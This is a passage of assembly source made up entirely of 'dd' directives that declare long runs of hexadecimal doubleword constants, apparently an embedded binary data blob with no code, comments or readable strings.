0C9F9085Dh, 0F6938B72h dd 0C8CB0085h, 10C093C8h, 2CF4A05Dh, 117468A2h, 201E04FFh dd 58976F4Eh, 71767332h, 2898A5D4h, 82D8A32h, 34CC205Bh dd 3CAF7C84h, 130144D9h, 6D859D55h, 0B870F2D5h, 0B172CA00h dd 69FE9A52h, 0A209187h, 0BDE00726h, 0F3B59980h, 45717358h dd 9BFD6000h, 1410ABCBh, 5EA8B40Eh, 2000E46h, 7C3B6C85h dd 0B390E05Dh, 89163C90h, 0D482C624h, 44DCC79Ch, 70A86093h dd 0BFFB0A6Bh, 180311Dh, 4ED48AE7h, 39D45092h, 0C496CD14h dd 0B1197480h, 0F8845594h, 9DFB0192h, 0FDA2CCD4h, 0D9FED86Ch dd 9BF80B17h, 816C8815h, 7C8B02F2h, 166E093h, 36D46D3Dh dd 6FF4743Bh, 1D5E3000h, 7B1A8812h, 69B56001h, 6F617D70h dd 62A75A07h, 0C09F5C37h, 57BCBE0Ah, 0F4170096h, 88C99EEAh dd 8028BD7Ch, 0E5018D7Ah, 0C5F6B653h, 0A920DBCBh, 60FD00D7h dd 0AC5F26C2h, 0FE78AEB9h, 46587E7Bh, 3E2E0020h, 6210133Fh dd 908073D6h, 914400A1h, 12BF73C2h, 0CE7DF7C6h, 8E74B51Dh dd 5846B6C0h, 16A610Ah, 68BF2336h, 689E2513h, 0A0DE2818h dd 5F8BB3Ah, 408BA1Ah, 1709D0C8h, 0C581FACAh, 604A200h dd 95263211h, 0C4C61718h, 7E08C804h, 50401972h, 0B622160Fh dd 41D4D28Ch, 11B05430h, 88307E98h, 2C36800Bh, 0DC9826B0h dd 0CC46A802h, 48512A57h, 1EE51D68h, 0EF105Bh, 0AAA2C059h dd 7A03AC5Ch, 0CD2C3C9Eh, 0B321F1F6h, 1467888Ch, 1A8C5D80h dd 0AC9CB048h, 10104011h, 1B04032h, 0CD363892h, 3865AA68h dd 9B72136Ch, 1C91C404h, 0E660B481h, 0B4A25473h, 98FAE430h dd 0A829304Ch, 0ABC95519h, 418B731Eh, 82962849h, 499950h dd 0C4B61131h, 23BC0F4Ch, 0AE4E012Bh, 7339C53Ah, 47FE8058h dd 7CB0BAEh, 7367AFD4h, 9D8590D2h, 3106E9A6h, 0A0572A3h dd 803A0ED0h, 0FC75E2C9h, 6AE1F90Ch, 0A4A73481h, 0E7600B44h dd 8E703C99h, 6A46C803h, 136C26D1h, 9A569A60h, 0BC9C0C4h dd 42B7C6h, 53DC7C54h, 8624883Bh, 64586F6Ah, 0E62803C2h dd 94689894h, 35C0E484h, 0EFA0C4B6h, 48FA25B0h, 6DC4A413h dd 898E7C0Ch, 3F342E85h, 0FFE40CACh, 0D9148091h, 926F5Bh dd 0AC592BB1h, 5A297DDh, 0A726759Ah, 348C196h, 72BB12CAh dd 50F0F86Ch, 0A4226CEAh, 25412710h, 0EBD3B020h, 2212E7E3h dd 5001E257h, 748C6A36h, 5C1F6CCh, 7969EB45h, 92F4944Eh dd 0A4F1427Ch, 0E3180E79h, 4F07CA05h, 0C4020860h, 0B832E7Ch dd 209D1502h, 0F30340D0h, 0D4FDDC57h, 0CB10161Bh, 208020DEh dd 4E00A5CEh, 9853E137h, 2C8D8B25h, 18C2C55h, 28813C4Bh dd 659980FAh, 38895A42h, 0CA34009Ch, 0A0E1DDDCh, 0DC99E9E0h dd 0B4D02692h, 0D5652Ch, 0FD11BD9h, 0C03AE803h, 8606CEDh dd 616EDEDCh, 0E5081E5Eh, 0BF46866h, 658712E1h, 631EE43Ch dd 555C8834h, 0C4860C04h, 19847F1h, 0E576A0A8h, 0AC4D9A13h dd 0DFD4D700h, 0A8E640h, 0F01EF632h, 0A37ACB6Eh, 12C1563Bh dd 9CA02454h, 4010BC0h, 4685598h, 78FFABDAh, 67F99AECh dd 600A44E8h, 5C960125h, 0C3400B26h, 0D5982E28h, 0BA8E4E44h dd 847D020h, 0C47D1F0Fh, 2E2C1095h, 21C200AFh, 5C7E47FAh dd 6D0BC5E2h, 144A175h, 1FE89E8Dh, 0E1F03426h, 81017B4Fh dd 9D842303h, 884220FCh, 0E0F1E26Eh, 542A3B8Ch, 0C4804Ah dd 0DEDF12E3h, 5F5A45D8h, 8939FDEAh, 17DAAD63h, 8E1E9104h dd 555961A9h, 0E4CB9DA4h, 69724601h, 2881A861h, 9C77CE2Ch dd 2487A42h, 80FAC603h, 0A4ED0825h, 78F429C8h, 3AC7095Ah dd 0C8818975h, 39DE8B79h, 0BFDB3CB0h, 1D99833Dh, 0D92BB3A3h dd 2DD0757Bh, 676F809h, 117AC8FDh, 551288F1h, 3AA1BFh dd 132C0C23h, 0CAA20Eh, 1312C1B3h, 0D5F9187Eh, 0BE3CC85Eh dd 8008DDF9h, 907314C1h, 0F2DC0D94h, 329A0A42h, 60C412CCh dd 0A5E926Bh, 0B898D800h, 8001107Eh, 0E2EC2D8Eh, 3214C16h dd 5C7426F5h, 0A10B5546h, 640E4C0Fh, 0CC2BE965h, 0C0F8271Ch dd 0FBB63Eh, 1830B15Ah, 0FE9AFD6Ch, 0D1D527BEh, 7445BC8Bh dd 0D160B2E4h, 0B118EACBh, 4C20C66Ch, 91822F6Dh, 29AAC40Fh dd 0F6C90044h, 0BA324686h, 0DF004578h, 0E3D640Bh, 7B303408h dd 40E45B9Bh, 554C9700h, 0FE004D17h, 502720F6h, 587974A0h dd 0DE8C8CDh, 45BB08Ch, 0DE686D87h, 0D130976Bh, 603D2D62h dd 9100D7F2h, 6DFA63F4h, 3BC528FCh, 4C256E55h, 0E39E3484h dd 22544CD8h, 0DBE201F6h, 658248C1h, 0E3F88120h, 0DAF8B93Fh dd 7EB42F2Fh, 233DBA43h, 2CD3B800h, 97D192A1h, 72C93600h dd 0FE9D87CEh, 5CD09654h, 76008646h, 78498BEEh, 793E44CBh dd 749D8DE5h, 55F5E001h, 9B00D863h, 6B8A6E7Ah, 7B0053B9h dd 0BCD859D4h, 130D1F35h, 0D5717EFDh, 0F204F2C0h, 8482300Ch dd 0DD4DC02h, 60A71ACCh, 5D72076Dh, 2518BC47h, 9CD93105h dd 27B40D00h, 4D0EA415h, 911D001Ch, 93DE4908h, 142C48E2h dd 0E5CB0055h, 600B64C4h, 41C6F9Ch, 95FE3FE2h, 0C748829h dd 0F2279200h, 0A11E4437h, 1CF60005h, 74F78EBDh, 1010EE7h dd 82C8CB7Fh, 42BEFEDh, 8E5EECA4h, 0C0098854h, 818C77AFh dd 44567B1Ch, 48DE628Bh, 3CCE80h, 0ADF860B8h, 0D5DC6758h dd 40BC8C7Eh, 4B8D7204h, 85E81014h, 5421018Ch, 170AD8E1h dd 0AC82F660h, 5510448Ah, 5FB026Ah, 45FE0826h, 84CD4AAh dd 79498A53h, 189359FCh, 710E0091h, 349B8DF3h, 513372CBh dd 9103C8FAh, 0C0240910h, 30F414EEh, 4223ACBDh, 9BB04501h dd 0F18387Eh, 3D3388h, 51FA8DB0h, 6D66348Ah, 0F6049894h dd 0C744BB01h, 0C8DE4BFCh, 0F0A7BDF0h, 0C6300BD1h, 0A0C2E528h dd 0C79EC51h, 3300A918h, 0B96153E8h, 7A68A16Ah, 0D4809D72h dd 0DD1688E6h, 47742095h, 0FE452C92h, 0A9E631h, 36E5B5Ch dd 0F4B4D5EEh, 24C0474Eh, 33248793h, 0BFD08D02h, 0C482404Eh dd 11C0004Dh, 1014F8BBh, 7D8A3D6h, 0CCA2BF34h, 6DF70128h dd 313B6629h, 0D702000h, 7B0AF5Ch, 7982BF44h, 4EDA09Ch dd 6A5649ACh, 618B992h, 0F79AA6Eh, 0D6031720h, 0CAD441E4h dd 22C0C8A2h, 18E2308h, 44E6339h, 88901845h, 6300419Bh dd 1149C22Ch, 0EB3E197Ah, 4550483Bh, 3CADF2C0h, 91A0988Ah dd 0D15467A4h, 0FCB944B4h, 0AB028EFAh, 23DD96E6h, 185A29h dd 9F5B4A77h, 15C1EBB1h, 0FE008771h, 3A346F44h, 0F64DC9Eh dd 0EF08BA53h, 0F8895979h, 0B8A0A436h, 11245691h, 37C0B4F4h dd 2D044C63h, 0D0145E35h, 630060EEh, 50022575h, 59C8E430h dd 704214BAh, 0CBB1BB1h, 0F39502E4h, 7A68DCB8h, 10448C47h dd 98A68F60h, 0D4B9E17Eh, 7F22A07h, 1CAA8EA5h, 0AAE4033Bh dd 89801F8h, 2A730270h, 0CF94EB48h, 0E6C820E4h, 0E17592E1h dd 3BED498Fh, 0DF592503h, 0EACFC0DDh, 1C9AB819h, 0F9726717h dd 51DBDC49h, 8C42A7A8h, 0A8BE3250h, 3385F702h, 1330403Ah dd 19CC02F8h, 88F49C7h, 9CB87462h, 3002F6D9h, 0D8EF7C45h dd 85F07CBDh, 0E0315DDDh dd 0F0B04ABCh, 3E37847Ch, 9EA141ADh, 0D4287ED4h, 28C0FBCh dd 12CD48CFh, 0FC763E22h, 0B6197E02h, 3B030243h, 5503CC5Ah dd 7185D761h, 84289B77h, 5CCE70D4h, 7C00D88h, 0FA0ED8h dd 423B55C9h, 6631A2CBh, 92449CA0h, 0C0BD070Eh, 0F856A0D4h dd 0F97BF16Dh, 3F23A078h, 36AE4A00h, 868F59C5h, 43E210EFh dd 308200AEh, 0D6053577h, 0C204A726h, 0ECD58554h, 128A5C90h dd 9400048h, 3134DD41h, 6201BBCBh, 3C086FD3h, 2E2AAB81h dd 552390h, 302D09A4h, 82F655Dh, 28EC915Bh, 0BA90040Eh dd 0A0F8DB22h, 10164484h, 19A135E4h, 0B6DC0C01h, 0E2113575h dd 8F1902CCh, 808BD3A8h, 30BAF8C4h, 15B8666h, 0BC0F4624h dd 692AD4CAh, 0DCF20078h, 0A25029C7h, 24880C44h, 0F680963Eh dd 6D49F774h, 72641690h, 0F02930A4h, 195D0F9Dh, 0D3F3D97Eh dd 0BC9C6AB0h, 0E42685B8h, 44400A4h, 59FBA3B8h, 1AA4F2D1h dd 5CF90F02h, 5192831Ch, 0C29CFF11h, 80565557h, 191465Ch dd 0BC609887h, 5032F708h, 0FC20292Dh, 79939791h, 47B79B00h dd 2B15B3E4h, 0E1CA0030h, 3FD7B6ECh, 0B424FEDAh, 0A912FCFDh dd 0CEB180B6h, 0FDF9FBF3h, 86E5EC16h, 87042427h, 0D8DE080Ch dd 91CA0399h, 10A2BC18h, 0C00E1324h, 38104674h, 8100FFD4h dd 0ECDDAB9Dh, 0F85C47C7h, 7CE57AF5h, 0F1DE324Ch, 547CE369h dd 46F88480h, 69A2Dh, 4435DDD8h, 1104854Dh, 0BB01967Dh dd 34F6631Ah, 0D420F95Eh, 769A88BEh, 5033C924h, 48417h dd 7E026CE6h, 0F4CB1E01h, 82061810h, 216DBE84h, 7A0880F2h dd 0E1AE03F7h, 0F5019E22h, 78266BC1h, 0CA1405B1h, 83861D72h dd 75F203ECh, 1B244880h, 0AA2E48B0h, 0DF81DCE5h, 9F4F35D5h dd 9D767460h, 8A697C22h, 660920E4h, 0D96A81A2h, 0E5F982A8h dd 0B0A00825h, 0D4F72947h, 33487F00h, 0E7C29918h, 92E7852h dd 418AC68Eh, 32537840h, 81889E11h, 84048E5Bh, 4130BAF9h dd 511655A2h, 24E2F4B3h, 8E8B400h, 335A23FCh, 0D20C97E6h dd 0B8F16170h, 0DED5317Ah, 0ECBCCCC0h, 0E424569Dh, 3F80CC70h dd 5C51438Dh, 27098CBh, 0A77684F8h, 4C409845h, 0D888BDA8h dd 0FF834h, 585C5F73h, 6D6A328Ah, 3400F24Eh, 0EFF34CCCh dd 55115C96h, 6E00AE3Ah, 510941C0h, 15003688h, 0F459BFF6h dd 0E85A4D66h, 0E908C05Eh, 36BAC9EEh, 9742892h, 0A8A41B24h dd 0C023F400h, 2EA38A68h, 0E432471h, 25806E2Bh, 14282D34h dd 581D11C0h, 74AB2ACh, 0CC0368B0h, 7C5009F1h, 9C338700h dd 8038544Bh, 5FDA04FDh, 1DDDE7Ah, 25C6F6F8h, 9B01B029h dd 9996AD93h, 9F27E0BDh, 0F3F2BF05h, 4A80CF77h, 33DC16h dd 0B6CC7695h, 9238BCCEh, 3C598013h, 0C300F01Fh, 859FE4F2h dd 0A510005Fh, 0FB521458h, 657ED960h, 25303875h, 0D6B271FEh dd 0BA3FEE8h, 8A7C2D16h, 34171480h, 0A0009C96h, 0F4BCCA76h dd 74D37FCFh, 68C10009h, 942DBF3Dh, 0E4582F5Dh, 26628038h dd 0C02984B6h, 0BA46C434h, 89129FFEh, 78F00651h, 871500B4h dd 0A3D67663h, 882DC349h, 10C2029h, 8A34C0h, 5F1C4752h dd 7F2F7BA4h, 56B34007h, 0E4131105h, 0C9710303h, 126DAD07h dd 0CE7D1AF0h, 925C3100h, 0E6761FB8h, 0F8DF022Dh, 6B2204DAh dd 3E439C48h, 4AF2380Eh, 6276619Fh, 44EF1E8h, 0CB4380AEh dd 797F52h, 3016B93Ah, 4BE9AE71h, 0C24C2A72h, 64110186h dd 1B93CBB1h, 0B8A3AC8h, 7FF7EAE1h, 0F2D94503h, 8B2510D0h dd 6836D801h, 2D8DE199h, 3A64EE30h, 2386D29Bh, 50C53E5Bh dd 0E7F34518h, 60F0FF80h, 0B328914Ah, 90008E64h, 0FBADED46h dd 0E0699Ah, 7C78F026h, 4432793Ah, 42BB318h, 757F88h, 699B2E08h dd 72B6CB58h, 0E160C8C0h, 188D1407h, 613629FFh, 0F9D63E5Ah dd 9E5D01ABh, 0F1DEFBD6h, 45198389h, 2D889Dh, 13B88350h dd 2792299Ah, 0D072E90Ah, 6E0008A3h, 759B107Bh, 49EA2804h dd 0C6580094h, 79F257C8h, 0DB50D928h, 0EB009848h, 30BD4EB2h dd 0E6FEE8h, 0FF921EC1h, 1696A32Dh, 23366C07h, 3AB2F2F0h dd 7DA4819Fh, 39C975A4h, 0CB2C9083h, 503E719Ch, 0C0680CA7h dd 61CFF996h, 77DE38FEh, 1EAC47D9h, 0E945D7A0h, 0B6740E50h dd 0CF9A6350h, 884BF82Ah, 0CC71B00h, 0E10D0A06h, 44C12AB2h dd 4B274494h, 0C8A97900h, 0B958334h, 0A8DE30B9h, 8753E960h dd 64E82150h, 0B549AE10h, 732E6200h, 791525A8h, 81344803h dd 885EF2E0h, 0EA4E25Ah, 73C94BF9h, 0B68D3138h, 0C0FC3B30h dd 9D53FFh, 596A75E9h, 0C9E1CA69h, 5F000CE0h, 0FB617193h dd 6456B77h, 0C739385Bh, 0DA0BF169h, 808FD5EDh, 0BC4A546Ch dd 3D61015Eh, 8981B173h, 0C978FC74h, 79AFED30h, 31D224A9h dd 44119549h, 92BB46C6h, 80FF043Ch, 9AF6A3BFh, 857C74h dd 2D056F25h, 495F14A8h, 47385E6Fh, 407D855h, 6DF3806Bh dd 0AA641Ch, 8399F4EFh, 9A8165A8h, 16FC47EEh, 0F109201Dh dd 3200CE16h, 84F08E11h, 722600E7h, 1C285519h, 0F7A4353h dd 20AE5B03h, 0E0712AB9h, 89BFD8h, 52670975h, 0F588C4D2h dd 0B004D352h, 5C26756h, 0DD24B12Bh, 82002D7h, 0FB027622h dd 16612074h, 5D3A7580h, 241280EAh, 213241C8h, 3B430079h dd 66592536h, 0DBE28BE6h, 512A5D1Eh, 4EBD96C0h, 3AB53347h dd 6380986h, 570C26BCh, 881153FDh, 4D455C00h, 1EA48C7h dd 87066CFh, 0F032156h, 0B81A4564h, 1EBAD069h, 442CE240h dd 5938C751h, 381BBD0Ch, 0D680148h, 37A04B05h, 5FD38007h dd 0AC0315C4h, 0B45C218Fh, 0F0818C7h, 73742005h, 0AFCCC407h dd 638176E3h, 0F31FEEh, 0F6102660h, 0CF1A925Eh, 99B0A33h dd 4621000Ch, 0F4F8F678h, 0D11865C9h, 0A0994E9Bh, 0BC81C026h dd 90D0AA51h, 0A88CCE00h, 8BBACC9Bh, 5B8E0153h, 47A210A4h dd 125E7019h, 0CB785000h, 892C0305h, 36601F2Eh, 6F680563h dd 0AEC30795h, 30E1E3E3h, 0B9CB6003h, 0D00FBDFCh, 291BCF25h dd 901C855Bh, 0F33B14B3h, 53330790h, 0C630CC89h, 28E7B912h dd 46CC4D61h, 455B0256h, 3170C74Ch, 632810A2h, 0E2CA0245h dd 2192588Bh, 0F801D8E2h, 501AEE7Ah, 0EDF8CE90h, 1E07B5B8h dd 24C44D5Dh, 342758C5h, 0C74645C0h, 0AC448C60h, 4565010Eh dd 0DC89C513h, 53F4401Ch, 0A672C381h, 3D781200h, 622FE50Ah dd 907CE04Bh, 2774600h, 0AC19C463h, 871C316Fh, 0C4577021h dd 0FF1D89B0h, 3CACF269h, 8C01F79Ch, 0CE131E14h, 6495E428h dd 44383400h, 0E3C575A9h, 56D7416h, 2DB1257Eh, 49B80ECCh dd 5059FC5h, 400FEE80h, 0A4327484h, 9800C28Bh, 0DA4D60EFh dd 7179FB9h, 0F1AC59AEh, 7E78DC1Bh, 0B14B5D06h, 5550D7E1h dd 0D00288C5h, 4579305Ch, 21C74238h, 0A191E9h, 86456112h dd 811A956h, 0AFF5F99Eh, 878CAC03h, 77D8091Ch, 78306668h dd 6126F615h, 78297892h, 45033191h, 652EF65Dh, 405242F8h dd 4F2B7C03h, 257999h, 16B1C7B0h, 702C468Fh, 8B61050Ah dd 3300B409h, 5B8D48E6h, 7BE8034Bh, 7C41871Fh, 98AFA1A2h dd 494070CEh, 4C79266Bh, 8AEADE01h, 0A5518CADh, 13848C20h dd 33F53DF9h, 228C342Ch, 4578305Bh, 68C74911h, 13805088h dd 0E5F4560h, 8C4C02BDh, 26D489CBh, 30A63041h, 66880920h dd 0DB2B00E8h, 39731FE7h, 0D37B0EA4h, 425EF300h, 0B1501583h dd 80C4506Dh, 0AFCEC92h, 8D2C19D4h, 806111B0h, 9264F61Ah dd 22CF430Ah dd 625C0137h, 9EB579F6h, 0E5818030h, 66EA872Dh, 99290181h dd 78425DFEh, 809CF944h, 0EA05A841h, 1C570EEh, 494F5634h dd 830EEFC4h, 0BC602B59h, 797D9875h, 51E20069h, 0A55C172h dd 1A1323FFh, 74305EE0h, 0E5A6166h, 5B7B307Ch, 0FA7801D2h dd 36107A64h, 0ADA4F0B0h, 0CC16501Ch, 28C3F6CBh, 9E4CE21h dd 0EA978411h, 20FB802h, 64119C08h, 5FF61780h, 448C1292h dd 0F6FC5B0Fh, 468EA000h, 0EFE8A537h, 214FE84h, 0FB3C3D32h dd 4841E4AFh, 4842185Fh, 5812B88Dh, 9E48327Ch, 8D4AC720h dd 0A9D100CAh, 29518392h, 7491C4F8h, 19AF8004h, 0A2A82C50h dd 130008Ch, 13D7C1EBh, 0DDF5EC5Fh, 90D18034h, 0FCF69E3h dd 0E0040012h, 0E228657Dh, 5F0537D8h, 7EC11875h, 0CDB81081h dd 0F58B0A10h, 78406665h, 37C8648Bh, 0A62E93C7h, 0A9D28Ch dd 7F3644B8h, 3AAF83B0h, 7EEBAA02h, 4484D161h, 608480A4h dd 59C9020h, 45C992A7h, 0F1EC01AEh, 4043D18Bh, 81E840F8h dd 2D7DA207h, 469111BBh, 54255513h, 9488820h, 0D318A614h dd 998CCC90h, 714F89C0h, 0F113EEh, 23BD97A0h, 0A347CCEh dd 0F0A4C73Fh, 15E75700h, 0B47AD186h, 62C00054h, 3DDBF5Ah dd 51134410h, 0A84B2BACh, 0A32001EFh, 48E0A501h, 0DC0B548Bh dd 0A180AF8h, 0B01CACh, 0DB1A6184h, 0D0C2B12Dh, 40D97714h dd 0E28AC24h, 814F939Dh, 0A718C095h, 8702B927h, 0A50BDE00h dd 0D144DDBAh, 4EB00B4h, 84150CE8h, 8926F22Ah, 2514FCD3h dd 19061E9Ch, 0F0A3550Ch, 5072F4C4h, 18DB9C4Dh, 80F9C1D1h dd 0A748AC61h, 7F6D0036h, 7A450DE3h, 0E7FD00F7h, 61BF4A9Ah dd 1F58032Dh, 1DD900C8h, 5D474F0Ch, 9980A641h, 1857D1F4h dd 0F21502C1h, 882A89CCh, 6246D44Eh, 0C5F61902h, 32310292h dd 0F6614110h, 0B5974005h, 0B8C2D67Bh, 0F6163065h, 6A926008h dd 5F0E64BFh, 31F65E40h, 164DC9EBh, 4B497DBh, 10886110h dd 4C0C7EDCh, 0F0C64181h, 46589834h, 0C45E0276h, 31C7AC0Eh dd 7321801Dh, 8D04C456h, 291FCE0h, 0C9D467EAh, 0C480F8A9h dd 0DEE6680Bh, 4F734300h, 5C9104F9h, 0F70A1209h, 52B31C9Ch dd 263F019Ah, 42D66296h, 106C78DAh, 5C8D4D04h, 9D62404Bh dd 8D75C620h, 4D091CC4h, 0CA7DC1FEh, 743841AFh, 29184F80h dd 0CBE0D234h, 0A2BA26B1h, 0A1467C44h, 0F1B41000h, 0DBB5BE91h dd 84AD9B04h, 0D4D15332h, 0F8320EF8h, 0C0F06FF7h, 0F26BC3B0h dd 249248h, 9017EB83h, 5727A222h, 0E4C58502h, 43F395CFh dd 0E8D2ADA4h, 71105126h, 0E4A1856h, 0AF1CA29h, 8C81E3E9h dd 8C3A6F6h, 38A586C6h, 0E48EB1CEh, 0BADD2040h, 17E432Ch dd 0F5CF7B05h, 0F8980767h, 5AFD308Fh, 9BCDA799h, 11769901h dd 0AE1AB07Eh, 3C109456h, 0A3022E3Ch, 4F7FC57Bh, 0D3510448h dd 0E8580E48h, 0C028C20h, 985125BFh, 46F4442Ch, 457A015Dh dd 0E918C743h, 1118A44Bh, 0C9482062h, 47269100h, 3815213h dd 129C9ABCh, 3530A1h, 65F42540h, 3F61D440h, 889CAC10h dd 58A7C420h, 0CF8E01Ch, 0E76C018Ch, 167CAC5Eh, 9C402051h dd 90EE314h, 8C08E8DCh, 62DFB50Fh, 6C52E00Ch, 0E8757B0Bh dd 0D64D0048h, 2BEAC0CDh, 8F115F11h, 0C4009DF2h, 627F687Ah dd 0D700FB3Eh, 3273E382h, 3170E8ABh, 12A0442Eh, 0EB7D00A3h dd 847A02A5h, 85D8AE30h, 7359FC40h, 7E170B1Fh, 0AFFC6C1h dd 0E848D419h, 0E7500911h, 0D8043324h, 8D436062h, 104B237Ah dd 0CC3E9C11h, 0C5558D80h, 48B430E5h, 12D0BE00h, 2680C286h dd 48B17125h, 59880038h, 47455EC0h, 0F4784CC7h, 45660DE0h dd 65096202h, 401F596Eh, 153F0B54h, 0ECB78CACh, 3167F218h dd 0F5006953h, 55988E78h, 1857D1C0h, 21476515h, 5414AE68h dd 50944A51h, 97608C08h, 1E39CDC9h, 0E1D200D9h, 500DF728h dd 0C4000AEDh, 0EB5DDFDDh, 598FF7Ch, 0E7C61A6Ah, 4EC8087h dd 4D48A143h, 1502390h, 0AC14C460h, 80483357h, 0C1C45875h dd 5148003Ah, 74C3A342h, 7AE25B62h, 0EE617809h, 0CF1C2012h dd 0F207CA80h, 0DD2E3AF4h, 19CC780h, 7F116EA8h, 5C514002h dd 9724B55Bh, 805091B0h, 43F4CE6h, 0A04D3A17h, 0AA02224h dd 31481B5h, 1DEC883Dh, 1C701801h, 7D4A067h, 655D1084h dd 0F8FC88A7h, 78D625Ch, 35BE32C2h, 0FF4656D0h, 2DAA041Ah dd 0C765795Ah, 0FA1B624Dh, 197AE868h, 62D0E0B0h, 0C76D03E8h dd 58219441h, 0B6220C60h, 0EDE65400h, 43EEDBE0h, 7A4F7BEAh dd 0C9E0093h, 0A46BAC7h, 9CA80452h, 0AC04167Bh, 0A1B92207h dd 94EF8CA4h, 0C03D9E68h, 0A34D7EA7h, 0AA001275h, 2F13CA9h dd 39B6B7D3h, 20C9C19Eh, 8C75F040h, 138A615Ch, 80385FACh dd 0C4550376h, 13EE63AEh, 0B00717Ah, 9242C703h, 0F68D19h dd 34B56FF2h, 12597DE2h, 13782317h, 605C9000h, 133C3275h dd 5C02EBFh, 4052F20Ch, 6BB71684h, 0A30065FBh, 0C0B6077Dh dd 76380826h, 966A033Dh, 9CF2562Ah, 0EE58311Eh, 5500A1D3h dd 76CD7E53h, 3C980340h, 0C35FBA96h, 322A16C0h, 0A1B9A0Bh dd 0C05CA566h, 0DB37800h, 0DF34B9Eh, 32FE86B5h, 0A28C3318h dd 0E92030A1h, 0F2A9F105h, 0C0A331C7h, 6330A4B2h, 3927E49Eh dd 0DA0981E6h, 0A863B942h, 8D4E60ECh, 784B2679h, 76CB7060h dd 3028D7Fh, 54403DC5h, 3B3C4013h, 4FC11297h, 0AE000118h dd 4056661Ch, 0D3109E8Ch, 9097B524h, 40886741h, 0C070B864h dd 0B8F3E3B0h, 5618BDF0h, 68E9A065h, 18C80021h, 0D77C559Ah dd 2398460Fh, 0EA30C70Bh, 0F8BA0365h, 87800004h, 28B039CFh dd 0CCA32DD0h, 90401FD2h, 0E207C118h, 9F3FC5D1h, 124FC9DCh dd 81D6AC51h, 0BBEFCh, 1740AEh, 4ED011CBh, 25C1B347h, 8A2A40B8h dd 1B0CB83Dh, 20B531CBh, 2EF60B13h, 0E4A222F4h, 0C87BE672h dd 2E074D70h, 3AA4EF57h, 0B527A5A1h, 5E6E0218h, 70E06DE8h dd 405AD86h, 32D089C5h, 0F4EF8A05h, 99E0A4D7h, 9AC622h dd 0FE767A7h, 28AC63A2h, 4F8B591Ch, 38F97C1Dh, 2D00D9AAh dd 91CC175Ch, 40698E1Dh, 31C0266Eh, 0F9921222h, 636CC0B1h dd 0C550D650h, 231404E8h, 46AC9EF8h, 0F99C06E0h, 9D300509h dd 0F60775D8h, 0DE233BA2h, 0EAAD291h, 22884C4Bh, 0A3E64CC1h dd 125A0D70h, 20A76A6Ch, 0E595FB3Ch, 0D2A84E09h, 0FC1C04CCh dd 0A49AAC40h, 0F21A325Fh, 0C7301F4Fh, 63A344D4h, 54AFF07Dh dd 94715DF1h, 0CCE8B2Eh, 851052AEh, 90006E5Ah, 63259A64h dd 9EAC9CA7h, 0EE90C411h, 58E4E372h, 1DE410F0h, 21928E05h dd 0BEA841A8h, 31CBB8Bh, 256F9318h, 0CB50D49h, 20C0759Eh dd 263F7D9Ah, 0B32C0EADh, 9F2949FBh, 16EF4C68h, 0ED007092h dd 0FC66102Fh, 30DB4736h, 383013D6h, 2B01B049h, 517BB968h dd 7C2859B1h, 0D1E82829h, 5CB21838h, 0A900D94Eh, 7C8ED209h dd 0F31650F4h, 68D059D3h, 20DC1906h, 0CC0A07CEh, 0B8722283h dd 7DC57502h, 4640F24Fh, 0C4097E71h, 1CBFAC0Fh, 59720074h dd 0C3C12C4h, 14047315h, 4BD304C7h, 205488C8h, 0B500708Dh dd 6C841146h, 54EB6667h, 9F9418h, 6B6AC9F1h, 0D957991h dd 2E0E3205h, 8C822F4Dh, 0A4E72001h, 0A00836Fh, 4E0BAE32h dd 9ECE8C38h, 0E54080F8h, 789ADD5h, 4800795Eh, 0E923090Eh dd 254F0E75h, 0A615A78h, 0BB4EFCA3h, 61086DF0h, 7739F6DCh dd 3E232C97h, 283C80E8h, 5010868Ch, 7824CC24h, 50465Eh dd 54BE2BDCh dd 4E41C5B0h, 0EF8406F4h, 0B91E7919h, 42C00225h, 7321AF8Fh dd 8A463BC2h, 988C0E8Ch, 0B30071E1h, 0C631B1B6h, 9BBC82h dd 7BFF07BFh, 0B562187Dh, 0DE456817h, 956BC808h, 0CBA95826h dd 984928F8h, 0AF8D8113h, 855DE847h, 0DB5FC311h, 0D820A431h dd 5CC54879h, 41AE1000h, 5672BDB4h, 0A3162B01h, 0D0A82952h dd 39262080h, 0D45C2ED1h, 0AD3810C2h, 1D5CE90Bh, 608B4870h dd 5CF4E9B5h, 8DFC1034h, 0B847AC00h, 3EFD7203h, 5BE70418h dd 0E0FBB141h, 0D909F990h, 0A1206453h, 5EE4C590h, 3BCE02Ch dd 58E3008Ch, 3720F00Ch, 7601DDE8h, 8A2B951Ch, 0C0386849h dd 98C32ECh, 2BA76601h, 8B369820h, 0E800738Ah, 0C64425D4h dd 29E1DBh, 0BE2E67DAh, 1FF2C372h, 0E2E03453h, 5D6430ACh dd 0F8019498h, 0B55FD8E7h, 0B3F4EFF5h, 7B630312h, 0C3AEB9EAh dd 2241AFE0h, 88B1109Ah, 0F4199AD1h, 284A56CFh, 0A1B92080h dd 5D28A986h, 8D0B4C18h, 45484B5Fh, 74C9801Ch, 2958BF8Dh dd 0A5134500h, 51E2C57Bh, 8B2D18DEh, 1F3B29D0h, 42020A70h dd 34AE11Bh, 0A0F4C03Ah, 45648101h, 0C840C292h, 5A49A4A3h dd 205165CAh, 0E5185B79h, 5A702EF6h, 4D039C07h, 0D41413FBh dd 0C71C7CB2h, 25371089h, 0B1CA0EEh, 7DF6E557h, 1932004Bh dd 23404E8Dh, 0C61DAAD5h, 4287A733h, 14E009F2h, 98E18EAEh dd 91120A79h, 0A4A46AB1h, 863380D8h, 0A78C05F7h, 0CC7984AAh dd 19189C79h, 3D9DF303h, 241B58A0h, 7498A7B0h, 3D003146h dd 87F2B760h, 0B4A8A2DBh, 63F8B6A7h, 0D38DB918h, 0BCF6D79h dd 92A6FEB8h, 0D74C9E00h, 0D80080ACh, 0CB15C67Ch, 173D30C1h dd 1DCDC4EBh, 9595E88h, 6CE8FE02h, 9CFE9E4Bh, 9C98401h dd 0A40CFBBCh, 7E5AEA60h, 3475587Ah, 66E6510h, 8F92E842h dd 5F1CF8D8h, 0D4DC253Ah, 0FA80C1D4h, 23198B4Bh, 817B8F10h dd 0F381517Ch, 383034h, 3AFD7F11h, 0E8227363h, 2782BC13h dd 0C8EB7009h, 0ABF3BCh, 7FB0141Ch, 4C4EB30Bh, 2E76981Ch dd 0A224AC83h, 25997287h, 306F7AB1h, 8334E560h, 0A7E003DBh dd 0A9A329E4h, 56F742A8h, 0E850B558h, 0FB008C55h, 0F87E60E8h dd 3DA44FA8h, 9DA8D192h, 88884B88h, 64B47724h, 0DA5509D6h dd 0AA80A50Dh, 6D4D634Eh, 972D6496h, 800C91C0h, 7BDFA4C8h dd 